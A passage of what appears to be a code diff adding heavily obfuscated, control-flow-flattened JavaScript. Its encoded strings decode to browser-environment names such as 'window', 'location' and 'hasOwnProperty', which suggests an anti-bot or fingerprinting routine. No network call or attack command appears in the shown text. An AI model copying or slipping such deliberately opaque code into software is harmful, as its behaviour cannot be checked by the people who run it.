_$LC; + _$fc = _$qv; + _$oc = _$Br[_$nc](_$fc); + _$Hv = _$oc; + _$Br = _$Nc; + _$nc = _$xv; + _$fc = _$Br[_$nc]; + _$Nc = _$fc + } + _$Xr -= 41; + break; + case 60: + _$Av = _$Sv; + _$Xr -= 13; + break; + case 61: + if (_$Mi) { + _$Br = _$US; + _$Xv = _$Br; + _$nc = 1; + _$Fv = _$nc; + _$Br = _$Fv; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Fv = _$fc; + _$Br = 1; + _$Xv = _$Br; + _$Br = _$BC; + _$Jv = _$Br; + _$Br = _$Fv; + _$Xv = _$Br; + _$Br = 232; + _$nc = 222; + _$fc = 224; + _$oc = [_$Br, _$nc, _$fc]; + _$Fv = _$oc; + for (_$$v = 0; _$$v < _$Fv.length; _$$v++) { + _$Br = _$Jv; + _$nc = _$Fv; + _$fc = _$$v; + _$oc = _$nc[_$fc]; + _$lc = 1; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$Jv = _$uc + } + _$Br = _$Fv; + _$nc = _$LC; + _$fc = _$Xv; + _$oc = _$Br[_$nc](_$fc); + _$Fv = _$oc; + _$Br = _$Nc; + _$nc = _$Jv; + _$fc = _$Br[_$nc]; + _$Nc = _$fc + } + _$Xr += 175; + break; + case 62: + _$as = _$YS; + _$es = 1; + case 63: + _$es = _$es + 1; + _$Xr -= 38; + break; + case 64: + for (_$rs = 0; _$rs < _$us.length; _$rs++) { + _$Br = _$pt; + _$nc = _$us; + _$fc = _$rs; + _$oc = _$nc[_$fc]; + _$lc = 3; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$pt = _$uc + } + _$Xr += 121; + break; + case 65: + for (_$cs = 0; _$cs < _$Ev.length; _$cs++) { + _$Br = _$di; + _$nc = _$Ev; + _$fc = _$cs; + _$oc = _$nc[_$fc]; + _$lc = 3; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$di = _$uc + } + _$Xr += 89; + break; + case 66: + _$vs = _$Si[2]; + _$ss = _$BC; + _$Xr += 207; + break; + case 67: + _$ns = [[5, 4], [6, 4], [6, 7], [2, 3]]; + _$fs = _$wW; + _$ts = _$WS; + _$is = 1; + _$Xr += 61; + break; + case 68: + for (_$os = 0; _$os < _$Zk; _$os++) { + _$Br = _$Gk; + _$nc = _$Ok; + _$fc = _$_C; + _$oc = _$Lk; + _$lc = _$nc[_$fc](_$oc); + _$hc = _$Pk(_$Br, _$lc); + _$_k = _$hc; + _$Lk++; + _$Br = _$Gk; + _$nc = _$Ok; + _$fc = _$_C; + _$oc = _$Lk; + _$lc = _$nc[_$fc](_$oc); + _$hc = _$Pk(_$Br, _$lc); + _$Rk = _$hc; + _$Lk++; + _$Br = _$Gk; + _$nc = _$Ok; + _$fc = _$_C; + _$oc = _$Lk; + _$lc = _$nc[_$fc](_$oc); + _$hc = _$Pk(_$Br, _$lc); + _$Ek = _$hc; + _$Lk++; + _$Br = _$Gk; + _$nc = _$Ok; + _$fc = _$_C; + _$oc = _$Lk; + _$lc = _$nc[_$fc](_$oc); + _$hc = _$Pk(_$Br, _$lc); + _$zk = _$hc; + _$Lk++; + _$Br = _$Vk; + _$nc = _$os; + _$fc = _$_k; + _$oc = _$Nk; + _$lc = _$fc * _$oc; + _$hc = _$Nk; + _$gc = _$lc * _$hc; + _$uc = _$Nk; + _$pc = _$gc * _$uc; + _$Cc = _$Rk; + _$Dc = _$Nk; + _$nv = _$Cc * _$Dc; + _$fv = _$Nk; + _$tv = _$nv * _$fv; + _$iv = _$pc + _$tv; + _$ov = _$Ek; + _$kv = _$Nk; + _$bv = _$ov * _$kv; + _$lv = _$iv + _$bv; + _$hv = _$zk; + _$gv = _$lv + _$hv; + _$Br[_$nc] = _$gv + } + _$Xr += 61; + break; + case 69: + _$wb = [1720320, 1802240, 1638400, 1654784, 1966080, 1294336, 1671168]; + _$Xr += 57; + break; + case 70: + _$Lc = typeof _$SW[_$Zk] === _$en; + _$ks = 1; + _$bs = _$QS; + _$Xr += 148; + break; + case 71: + _$rf = [488, 928, 832, 840, 920, 352]; + _$Xr -= 64; + break; + case 72: + _$Sv = _$Sv.p(_$Av); + _$Xr -= 20; + break; + case 73: + _$vo = 1; + _$Xr -= 53; + break; + case 74: + _$wb = _$wb.p(_$yb); + _$Xr += 70; + break; + case 75: + _$ls = _$_v; + _$hs = _$BC; + _$Xr += 215; + break; + case 76: + _$dv = _$Mv; + _$Xr += 194; + break; + case 77: + _$gs = _$KS; + _$us = 1; + _$Xr += 104; + break; + case 78: + if (_$Mi && _$Nc) { + _$Br = _$DS; + _$ps = _$Br; + _$nc = 1; + _$ys = _$nc; + _$Br = _$ys; + _$nc = 1; + _$fc = _$Br + _$nc; + _$ys = _$fc; + _$Br = 1; + _$ps = _$Br; + _$Br = _$BC; + _$ws = _$Br; + _$Br = _$ys; + _$ps = _$Br; + _$Br = 1900544; + _$nc = 1818624; + _$fc = 1835008; + _$oc = [_$Br, _$nc, _$fc]; + _$ys = _$oc; + for (_$ds = 0; _$ds < _$ys.length; _$ds++) { + _$Br = _$ws; + _$nc = _$ys; + _$fc = _$ds; + _$oc = _$nc[_$fc]; + _$lc = 14; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$ws = _$uc + } + _$Br = _$ys; + _$nc = _$LC; + _$fc = _$ps; + _$oc = _$Br[_$nc](_$fc); + _$ys = _$oc; + _$Br = _$CS; + _$Ms = _$Br; + _$nc = 1; + _$Is = _$nc; + _$Br = _$Is; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Is = _$fc; + _$Br = 1; + _$Ms = _$Br; + _$Br = _$BC; + _$As = _$Br; + _$Br = _$Is; + _$Ms = _$Br; + _$Br = 1900544; + _$nc = 1818624; + _$fc = 1835008; + _$oc = [_$Br, _$nc, _$fc]; + _$Is = _$oc; + for (_$Ss = 0; _$Ss < _$Is.length; _$Ss++) { + _$Br = _$As; + _$nc = _$Is; + _$fc = _$Ss; + _$oc = _$nc[_$fc]; + _$lc = 14; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$As = _$uc + } + _$Br = _$Is; + _$nc = _$LC; + _$fc = _$Ms; + _$oc = _$Br[_$nc](_$fc); + _$Is = _$oc; + _$Br = _$jS; + _$ms = _$Br; + _$nc = 1; + _$Ts = _$nc; + _$Br = _$Ts; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Ts = _$fc; + _$Br = 1; + _$ms = _$Br; + _$Br = _$BC; + _$js = _$Br; + _$Br = _$Ts; + _$ms = _$Br; + _$Br = 3328; + _$nc = 3104; + _$fc = 3680; + _$oc = 2528; + _$lc = 3808; + _$hc = 3520; + _$gc = 2560; + _$uc = 3648; + _$pc = 3552; + _$Cc = 3584; + _$Dc = 3232; + _$nv = 3648; + _$fv = 3712; + _$tv = 3872; + _$iv = [_$Br, _$nc, _$fc, _$oc, _$lc, _$hc, _$gc, _$uc, _$pc, _$Cc, _$Dc, _$nv, _$fv, _$tv]; + _$Ts = _$iv; + for (_$Cs = 0; _$Cs < _$Ts.length; _$Cs++) { + _$Br = _$js; + _$nc = _$Ts; + _$fc = _$Cs; + _$oc = _$nc[_$fc]; + _$lc = 5; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$js = _$uc + } + _$Br = _$Ts; + _$nc = _$LC; + _$fc = _$ms; + _$oc = _$Br[_$nc](_$fc); + _$Ts = _$oc; + _$Br = _$Nc; + _$nc = _$js; + _$fc = _$ws; + _$oc = _$Br[_$nc](_$fc); + _$lc = _$oc; + if (!_$lc) { + _$kc = _$Nc; + _$bc = _$As; + _$lc = _$kc[_$bc] + } + _$Mi = _$lc + } + _$Xr += 149; + break; + case 79: + try { + _$Br = _$MY; + _$nc = _$LC; + _$fc = _$aY; + _$oc = _$PC; + _$lc = _$fc[_$oc]; + _$Br[_$nc](_$lc) + } catch (_$a) {} + _$Xr += 7; + break; + case 80: + for (_$Ds = 0; _$Ds < _$Rv.length; ) { + _$Br = _$Mt; + _$nc = _$_C; + _$fc = _$Rv; + _$oc = _$_C; + _$lc = _$Ds; + _$hc = _$fc[_$oc](_$lc); + _$gc = _$OC; + _$uc = _$hc[_$gc](); + _$pc = 32; + _$Cc = _$uc - _$pc; + _$Dc = _$Br[_$nc](_$Cc); + _$Ks = _$Dc; + _$nv = _$Mt; + _$fv = _$_C; + _$tv = _$Rv; + _$iv = _$_C; + _$ov = _$Ds; + _$kv = 1; + _$bv = _$ov + _$kv; + _$lv = _$tv[_$iv](_$bv); + _$hv = _$OC; + _$gv = _$lv[_$hv](); + _$uv = 32; + _$pv = _$gv - _$uv; + _$yv = _$nv[_$fv](_$pv); + _$Qs = _$yv; + _$Br = _$_v; + _$nc = _$Ks; + _$fc = _$Qs; + _$Br[_$nc] = _$fc; + _$Br = _$Ds; + _$nc = 2; + _$fc = _$Br + _$nc; + _$Ds = _$fc + } + _$Xr -= 5; + break; + case 81: + for (_$Ws = 0, + _$Ys = _$zc.length; _$Ws < _$Ys; ++_$Ws) { + _$Br = _$Zc; + _$nc = _$LC; + _$fc = _$zc; + _$oc = _$Ws; + _$lc = _$fc[_$oc]; + _$hc = _$jv; + _$gc = _$Ws; + _$uc = _$hc[_$gc]; + _$pc = _$lc ^ _$uc; + _$Br[_$nc](_$pc) + } + _$Xr += 46; + break; + case 82: + _$mf = _$Tf; + _$Xr -= 65; + break; + case 83: + _$mf = 1; + _$Xr -= 38; + break; + case 84: + _$is = _$is.p(_$ts); + _$Xr += 138; + break; + case 85: + _$bf = _$bf + _$kf[8]; + _$Xr += 132; + break; + case 86: + for (_$Us = 0, + _$Os = _$aY.length; _$Us < _$Os; ++_$Us) { + _$Br = _$MY; + _$nc = _$LC; + _$fc = _$aY; + _$oc = _$Us; + _$lc = _$fc[_$oc]; + _$Br[_$nc](_$lc) + } + _$Xr += 51; + break; + case 87: + _$Sv = _$Sv + 1; + _$Xr += 199; + break; + case 88: + _$Ps = _$Si[1]; + _$Xr += 100; + break; + case 89: + for (_$Gs = 1; _$Gs < _$Lv.length; _$Gs++) { + _$Br = _$Lv; + _$nc = _$OC; + _$fc = _$Gs; + _$oc = _$Br[_$nc](_$fc); + _$lc = _$Vv; + _$hc = _$OC; + _$gc = _$Gs; + _$uc = 1; + _$pc = _$gc - _$uc; + _$Cc = _$lc[_$hc](_$pc); + _$Dc = _$oc - _$Cc; + _$nv = _$bW(_$Dc); + _$Vv += _$nv + } + _$Xr += 123; + break; + case 90: + _$bf = _$bf * _$kf[6]; + _$Xr += 212; + break; + case 91: + _$MY = _$mW; + _$Xr += 198; + break; + case 92: + if (_$Mi && _$Nc) { + _$Br = _$TS; + _$Ns = _$Br; + _$nc = 1; + _$Zs = _$nc; + _$Br = _$Zs; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Zs = _$fc; + _$Br = 1; + _$Ns = _$Br; + _$Br = _$BC; + _$zs = _$Br; + _$Br = _$Zs; + _$Ns = _$Br; + _$Br = 974848; + _$nc = 860160; + _$fc = 901120; + _$oc = 819200; + _$lc = 909312; + _$hc = 974848; + _$gc = [_$Br, _$nc, _$fc, _$oc, _$lc, _$hc]; + _$Zs = _$gc; + for (_$Es = 0; _$Es < _$Zs.length; _$Es++) { + _$Br = _$zs; + _$nc = _$Zs; + _$fc = _$Es; + _$oc = _$nc[_$fc]; + _$lc = 13; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$zs = _$uc + } + _$Br = _$Zs; + _$nc = _$LC; + _$fc = _$Ns; + _$oc = _$Br[_$nc](_$fc); + _$Zs = _$oc; + _$Br = _$mS; + _$Rs = _$Br; + _$nc = 1; + _$_s = _$nc; + _$Br = _$_s; + _$nc = 1; + _$fc = _$Br + _$nc; + _$_s = _$fc; + _$Br = 1; + _$Rs = _$Br; + _$Br = _$BC; + _$Ls = _$Br; + _$Br = _$_s; + _$Rs = _$Br; + _$Br = 7798784; + _$nc = 6881280; + _$fc = 7208960; + _$oc = 6553600; + _$lc = 7274496; + _$hc = 7798784; + _$gc = [_$Br, _$nc, _$fc, _$oc, _$lc, _$hc]; + _$_s = _$gc; + for (_$Vs = 0; _$Vs < _$_s.length; _$Vs++) { + _$Br = _$Ls; + _$nc = _$_s; + _$fc = _$Vs; + _$oc = _$nc[_$fc]; + _$lc = 16; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$Ls = _$uc + } + _$Br = _$_s; + _$nc = _$LC; + _$fc = _$Rs; + _$oc = _$Br[_$nc](_$fc); + _$_s = _$oc; + _$Br = _$SS; + _$qs = _$Br; + _$nc = 1; + _$Hs = _$nc; + _$Br = _$Hs; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Hs = _$fc; + _$Br = 1; + _$qs = _$Br; + _$Br = _$BC; + _$xs = _$Br; + _$Br = _$Hs; + _$qs = _$Br; + _$Br = 416; + _$nc = 388; + _$fc = 460; + _$oc = 316; + _$lc = 476; + _$hc = 440; + _$gc = 320; + _$uc = 456; + _$pc = 444; + _$Cc = 448; + _$Dc = 404; + _$nv = 456; + _$fv = 464; + _$tv = 484; + _$iv = [_$Br, _$nc, _$fc, _$oc, _$lc, _$hc, _$gc, _$uc, _$pc, _$Cc, _$Dc, _$nv, _$fv, _$tv]; + _$Hs = _$iv; + for (_$Bs = 0; _$Bs < _$Hs.length; _$Bs++) { + _$Br = _$xs; + _$nc = _$Hs; + _$fc = _$Bs; + _$oc = _$nc[_$fc]; + _$lc = 2; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$xs = _$uc + } + _$Br = _$Hs; + _$nc = _$LC; + _$fc = _$qs; + _$oc = _$Br[_$nc](_$fc); + _$Hs = _$oc; + _$Br = _$Nc; + _$nc = _$xs; + _$fc = _$zs; + _$oc = _$Br[_$nc](_$fc); + _$lc = _$oc; + if (!_$lc) { + _$kc = _$Nc; + _$bc = _$Ls; + _$lc = _$kc[_$bc] + } + _$Mi = _$lc + } + _$Xr -= 33; + break; + case 93: + for (_$Xs = 1; _$Xs < _$Qk.length; _$Xs++) { + _$Br = _$Qk; + _$nc = _$OC; + _$fc = _$Xs; + _$oc = _$Br[_$nc](_$fc); + _$lc = _$Wk; + _$hc = _$OC; + _$gc = _$Xs; + _$uc = 1; + _$pc = _$gc - _$uc; + _$Cc = _$lc[_$hc](_$pc); + _$Dc = _$oc - _$Cc; + _$nv = _$bW(_$Dc); + _$Wk += _$nv + } + _$Xr += 65; + break; + case 94: + _$Uf = 1; + _$Xr += 77; + break; + case 95: + _$Fs = _$zY; + _$Xr += 66; + break; + case 96: + _$Js = _$BC; + _$Xr += 38; + break; + case 97: + _$et = _$rt; + _$Xr -= 68; + break; + case 98: + for (_$Dv = 0, + _$Kv = _$Fs.length; _$Dv < _$Kv; _$Dv += 2) { + _$Br = _$wW; + _$nc = _$LC; + _$fc = _$Fs; + _$oc = _$Dv; + _$lc = _$fc[_$oc]; + _$Br[_$nc](_$lc) + } + _$Xr -= 59; + break; + case 99: + _$$s = _$vt; + _$Xr += 92; + break; + case 100: + _$Vk = []; + _$Xr += 172; + break; + case 101: + _$lf = 1; + _$Xr += 45; + break; + case 102: + _$of = _$of + 1; + _$Xr += 84; + break; + case 103: + _$bf = _$bf - _$kf[2]; + _$Xr += 178; + break; + case 104: + _$bf = _$bf - _$kf[2]; + _$Xr += 45; + break; + case 105: + for (_$Ps = 0, + _$an = _$MW.length; _$Ps < _$an; ++_$Ps) { + _$Br = _$FW; + _$nc = _$LC; + _$fc = _$MW; + _$oc = _$Ps; + _$lc = _$fc[_$oc]; + _$Br[_$nc](_$lc) + } + _$Xr -= 64; + break; + case 106: + _$en = _$BC; + _$Xr -= 52; + break; + case 107: + _$rn = _$BC; + _$Xr += 67; + break; + case 108: + for (_$cn = 0; _$cn < _$Rc.length; _$cn++) { + _$Br = _$Jn; + _$nc = _$Rc; + _$fc = _$cn; + _$oc = _$nc[_$fc]; + _$lc = 7; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$Jn = _$uc + } + _$Xr -= 95; + break; + case 109: + if (_$Mi) { + _$Br = _$AS; + _$vn = _$Br; + _$nc = 1; + _$sn = _$nc; + _$Br = _$sn; + _$nc = 1; + _$fc = _$Br + _$nc; + _$sn = _$fc; + _$Br = 1; + _$vn = _$Br; + _$Br = _$BC; + _$nn = _$Br; + _$Br = _$sn; + _$vn = _$Br; + _$Br = 1769472; + _$nc = 1818624; + _$fc = 1622016; + _$oc = 1589248; + _$lc = 1900544; + _$hc = 1720320; + _$gc = 1818624; + _$uc = 1802240; + _$pc = [_$Br, _$nc, _$fc, _$oc, _$lc, _$hc, _$gc, _$uc]; + _$sn = _$pc; + for (_$fn = 0; _$fn < _$sn.length; _$fn++) { + _$Br = _$nn; + _$nc = _$sn; + _$fc = _$fn; + _$oc = _$nc[_$fc]; + _$lc = 14; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$nn = _$uc + } + _$Br = _$sn; + _$nc = _$LC; + _$fc = _$vn; + _$oc = _$Br[_$nc](_$fc); + _$sn = _$oc; + _$Br = _$Nc; + _$nc = _$nn; + _$fc = _$Br[_$nc]; + _$Nc = _$fc + } + _$Xr += 128; + break; + case 110: + _$CW = []; + _$Xr -= 61; + break; + case 111: + _$tt = _$tt.p(_$ft); + _$Xr -= 106; + break; + case 112: + _$rt = _$rt.p(_$et); + _$Xr += 185; + break; + case 113: + _$so = _$so.p(_$vo); + _$Xr += 63; + break; + case 114: + for (_$tn = 0; _$tn < _$Jf.length; ) { + _$Br = _$Af; + _$nc = _$_C; + _$fc = _$Jf; + _$oc = _$_C; + _$lc = _$tn; + _$hc = _$fc[_$oc](_$lc); + _$gc = _$OC; + _$uc = _$hc[_$gc](); + _$pc = 32; + _$Cc = _$uc - _$pc; + _$Dc = _$Br[_$nc](_$Cc); + _$in = _$Dc; + _$nv = _$Af; + _$fv = _$_C; + _$tv = _$Jf; + _$iv = _$_C; + _$ov = _$tn; + _$kv = 1; + _$bv = _$ov + _$kv; + _$lv = _$tv[_$iv](_$bv); + _$hv = _$OC; + _$gv = _$lv[_$hv](); + _$uv = 32; + _$pv = _$gv - _$uv; + _$yv = _$nv[_$fv](_$pv); + _$on = _$yv; + _$Br = _$$f; + _$nc = _$in; + _$fc = _$on; + _$Br[_$nc] = _$fc; + _$Br = _$tn; + _$nc = 2; + _$fc = _$Br + _$nc; + _$tn = _$fc + } + _$Xr += 1; + break; + case 115: + _$kn = _$$f; + _$Xr -= 36; + break; + case 116: + _$so = [46, 103, 118, 75, 119, 97, 110, 83, 120, 69, 74, 68, 121, 65, 122, 123, 124, 49, 114, 125, 126, 42, 16, 127, 101, 128, 129, 60, 15, 115, 73, 130, 80, 61, 131, 36, 132, 133, 134, 102, 135, 136, 86, 95, 93, 67, 57, 137, 54, 23, 56, 44, 85, 113, 138, 8, 43, 18, 139, 58, 140, 141, 77, 2, 14, 142, 89, 143, 144, 145, 117, 39, 82, 7, 50, 146, 147, 78, 5, 25, 31, 34, 112, 91, 29, 116, 148, 149, 4, 0, 22, 19, 55, 88, 79, 66, 150, 90, 151, 152, 64, 48, 153, 154, 111, 155, 27, 17, 156, 10, 157, 158, 41, 81, 108, 159, 99, 45, 28, 38, 32, 70, 160, 51, 106, 40, 96, 72, 161, 162, 163, 164, 165, 87, 24, 6, 92, 166, 20, 167, 168, 169, 170, 171, 47, 12, 63, 30, 172, 94, 173, 174, 26, 107, 76, 175, 37, 35, 176, 1, 177, 178, 52, 62, 105, 11, 179, 180, 181, 182, 59, 71, 183, 53, 84, 184, 100, 185, 9, 186, 33, 109, 13, 187, 104, 3, 188, 189, 98, 21]; + _$Xr -= 102; + break; + case 117: + if (_$kf[8] - _$kf[5] > 0) { + _$Br = _$bf; + _$nc = _$kf; + _$fc = 4; + _$oc = _$nc[_$fc]; + _$lc = _$Br + _$oc; + _$bf = _$lc; + _$Br = _$bf; + _$nc = _$kf; + _$fc = 6; + _$oc = _$nc[_$fc]; + _$lc = _$Br + _$oc; + _$hc = _$kf; + _$gc = 5; + _$uc = _$hc[_$gc]; + _$pc = _$lc - _$uc; + _$bf = _$pc + } else { + _$Br = _$bf; + _$nc = _$kf; + _$fc = 0; + _$oc = _$nc[_$fc]; + _$lc = _$Br * _$oc; + _$bf = _$lc; + _$Br = _$bf; + _$nc = _$kf; + _$fc = 2; + _$oc = _$nc[_$fc]; + _$lc = _$Br - _$oc; + _$bf = _$lc + } + _$Xr += 121; + break; + case 118: + for (_$bn = 1; _$bn < _$lt.length; _$bn++) { + _$Br = _$lt; + _$nc = _$OC; + _$fc = _$bn; + _$oc = _$Br[_$nc](_$fc); + _$lc = _$ht; + _$hc = _$OC; + _$gc = _$bn; + _$uc = 1; + _$pc = _$gc - _$uc; + _$Cc = _$lc[_$hc](_$pc); + _$Dc = _$oc - _$Cc; + _$nv = _$bW(_$Dc); + _$ht += _$nv + } + _$Xr += 72; + break; + case 119: + for (_$ln = 1; _$ln < _$st.length; _$ln++) { + _$Br = _$st; + _$nc = _$OC; + _$fc = _$ln; + _$oc = _$Br[_$nc](_$fc); + _$lc = _$gt; + _$hc = _$OC; + _$gc = _$ln; + _$uc = 1; + _$pc = _$gc - _$uc; + _$Cc = _$lc[_$hc](_$pc); + _$Dc = _$oc - _$Cc; + _$nv = _$bW(_$Dc); + _$gt += _$nv + } + _$Xr += 132; + break; + case 120: + _$DW = _$yY; + _$Xr += 174; + break; + case 121: + _$hn = _$IS; + _$gn = 1; + _$Xr += 98; + break; + case 122: + _$hn = 1; + _$Xr -= 16; + break; + case 123: + for (_$un = 0; _$un < _$Vk.length; _$un++) { + _$Br = _$Vk; + _$nc = _$un; + _$fc = _$Br[_$nc]; + _$oc = _$bW(_$fc); + _$Zk += _$oc + } + _$Xr -= 53; + break; + case 124: + _$is = [8704, 12416, 14848, 12928]; + _$Xr -= 34; + break; + case 125: + for (_$pn = 0, + _$yn = _$bt.length; _$pn < _$yn; _$pn++) { + _$Br = _$Ib; + _$nc = _$LC; + _$fc = _$bt; + _$oc = _$OC; + _$lc = _$pn; + _$hc = _$fc[_$oc](_$lc); + _$Br[_$nc](_$hc) + } + _$Xr += 27; + break; + case 126: + for (_$wn = 0; _$wn < _$wb.length; _$wn++) { + _$Br = _$ut; + _$nc = _$wb; + _$fc = _$wn; + _$oc = _$nc[_$fc]; + _$lc = 14; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$ut = _$uc + } + _$Xr -= 52; + break; + case 127: + _$dn = _$BC; + _$Xr -= 111; + break; + case 128: + _$is = _$is + 1; + _$Xr += 136; + break; + case 129: + _$Zk = _$BC; + _$Xr -= 6; + break; + case 130: + for (_$Mn = 0; _$Mn < _$Tf.length; _$Mn++) { + _$Br = _$Ov; + _$nc = _$Tf; + _$fc = _$Mn; + _$oc = _$nc[_$fc]; + _$lc = 6; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$Ov = _$uc + } + _$Xr -= 102; + break; + case 131: + for (_$In = 0; _$In < _$tt.length; _$In++) { + _$Br = _$An; + _$nc = _$tt; + _$fc = _$In; + _$oc = _$nc[_$fc]; + _$lc = 9; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$An = _$uc + } + _$Xr -= 20; + break; + case 132: + _$et = 1; + _$Xr += 172; + break; + case 133: + _$ft = _$tt; + _$Xr += 51; + break; + case 134: + _$ts = _$is; + _$Xr -= 10; + break; + case 135: + _$rf = _$rf.p(_$ef); + _$Xr += 161; + break; + case 136: + _$An = _$BC; + _$Xr -= 3; + break; + case 137: + for (_$Us = 0, + _$Os = _$ro.length; _$Us < _$Os; ++_$Us) { + _$Br = _$MS; + _$Sn = _$Br; + _$nc = 1; + _$mn = _$nc; + _$Br = _$mn; + _$nc = 1; + _$fc = _$Br + _$nc; + _$mn = _$fc; + _$Br = 1; + _$Sn = _$Br; + _$Br = _$BC; + _$Tn = _$Br; + _$Br = _$mn; + _$Sn = _$Br; + _$Br = 6656; + _$nc = 6208; + _$fc = 7360; + _$oc = 5056; + _$lc = 7616; + _$hc = 7040; + _$gc = 5120; + _$uc = 7296; + _$pc = 7104; + _$Cc = 7168; + _$Dc = 6464; + _$nv = 7296; + _$fv = 7424; + _$tv = 7744; + _$iv = [_$Br, _$nc, _$fc, _$oc, _$lc, _$hc, _$gc, _$uc, _$pc, _$Cc, _$Dc, _$nv, _$fv, _$tv]; + _$mn = _$iv; + for (_$jn = 0; _$jn < _$mn.length; _$jn++) { + _$Br = _$Tn; + _$nc = _$mn; + _$fc = _$jn; + _$oc = _$nc[_$fc]; + _$lc = 6; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$Tn = _$uc + } + _$Br = _$mn; + _$nc = _$LC; + _$fc = _$Sn; + _$oc = _$Br[_$nc](_$fc); + _$mn = _$oc; + _$Br = _$kn; + _$nc = _$Tn; + _$fc = _$ro; + _$oc = _$_C; + _$lc = _$Us; + _$hc = _$fc[_$oc](_$lc); + _$gc = _$Br[_$nc](_$hc); + if (_$gc) { + _$Br = _$kn; + _$nc = _$ro; + _$fc = _$_C; + _$oc = _$Us; + _$lc = _$nc[_$fc](_$oc); + _$hc = _$Br[_$lc]; + _$co += _$hc + } else { + _$Br = _$ro; + _$nc = _$_C; + _$fc = _$Us; + _$oc = _$Br[_$nc](_$fc); + _$co += _$oc + } + } + _$Xr -= 60; + break; + case 138: + if (_$Mi && _$Nc) { + _$Br = _$dS; + _$Cn = _$Br; + _$nc = 1; + _$Dn = _$nc; + _$Br = _$Dn; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Dn = _$fc; + _$Br = 1; + _$Cn = _$Br; + _$Br = _$BC; + _$Kn = _$Br; + _$Br = _$Dn; + _$Cn = _$Br; + _$Br = 1856; + _$nc = 1776; + _$fc = 1792; + _$oc = [_$Br, _$nc, _$fc]; + _$Dn = _$oc; + for (_$Qn = 0; _$Qn < _$Dn.length; _$Qn++) { + _$Br = _$Kn; + _$nc = _$Dn; + _$fc = _$Qn; + _$oc = _$nc[_$fc]; + _$lc = 4; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$Kn = _$uc + } + _$Br = _$Dn; + _$nc = _$LC; + _$fc = _$Cn; + _$oc = _$Br[_$nc](_$fc); + _$Dn = _$oc; + _$Br = _$wS; + _$zn = _$Br; + _$Br = _$zn; + _$nc = _$PC; + _$fc = _$Br[_$nc]; + _$Wn = _$fc; + _$Br = []; + _$En = _$Br; + for (_$Rn = 0; _$Rn < _$Wn; _$Rn++) { + _$Br = _$zn; + _$nc = _$OC; + _$fc = _$Rn; + _$oc = _$Br[_$nc](_$fc); + _$Yn = _$oc; + _$Br = _$Yn; + _$nc = 65536; + _$fc = _$Br >= _$nc; + _$oc = _$fc; + if (_$oc) { + _$kc = _$Yn; + _$bc = 1114111; + _$oc = _$kc <= _$bc + } + if (_$oc) { + _$Br = _$En; + _$nc = _$LC; + _$fc = _$Yn; + _$oc = 18; + _$lc = _$fc >> _$oc; + _$hc = 7; + _$gc = _$lc & _$hc; + _$uc = 240; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$En; + _$nc = _$LC; + _$fc = _$Yn; + _$oc = 12; + _$lc = _$fc >> _$oc; + _$hc = 63; + _$gc = _$lc & _$hc; + _$uc = 128; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$En; + _$nc = _$LC; + _$fc = _$Yn; + _$oc = 6; + _$lc = _$fc >> _$oc; + _$hc = 63; + _$gc = _$lc & _$hc; + _$uc = 128; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$En; + _$nc = _$LC; + _$fc = _$Yn; + _$oc = 63; + _$lc = _$fc & _$oc; + _$hc = 128; + _$gc = _$lc | _$hc; + _$Br[_$nc](_$gc) + } else { + _$Br = _$Yn; + _$nc = 2048; + _$fc = _$Br >= _$nc; + _$oc = _$fc; + if (_$oc) { + _$kc = _$Yn; + _$bc = 65535; + _$oc = _$kc <= _$bc + } + if (_$oc) { + _$Br = _$En; + _$nc = _$LC; + _$fc = _$Yn; + _$oc = 12; + _$lc = _$fc >> _$oc; + _$hc = 15; + _$gc = _$lc & _$hc; + _$uc = 224; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$En; + _$nc = _$LC; + _$fc = _$Yn; + _$oc = 6; + _$lc = _$fc >> _$oc; + _$hc = 63; + _$gc = _$lc & _$hc; + _$uc = 128; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$En; + _$nc = _$LC; + _$fc = _$Yn; + _$oc = 63; + _$lc = _$fc & _$oc; + _$hc = 128; + _$gc = _$lc | _$hc; + _$Br[_$nc](_$gc) + } else { + _$Br = _$Yn; + _$nc = 128; + _$fc = _$Br >= _$nc; + _$oc = _$fc; + if (_$oc) { + _$kc = _$Yn; + _$bc = 2047; + _$oc = _$kc <= _$bc + } + if (_$oc) { + _$Br = _$En; + _$nc = _$LC; + _$fc = _$Yn; + _$oc = 6; + _$lc = _$fc >> _$oc; + _$hc = 31; + _$gc = _$lc & _$hc; + _$uc = 192; + _$pc = _$gc | _$uc; + 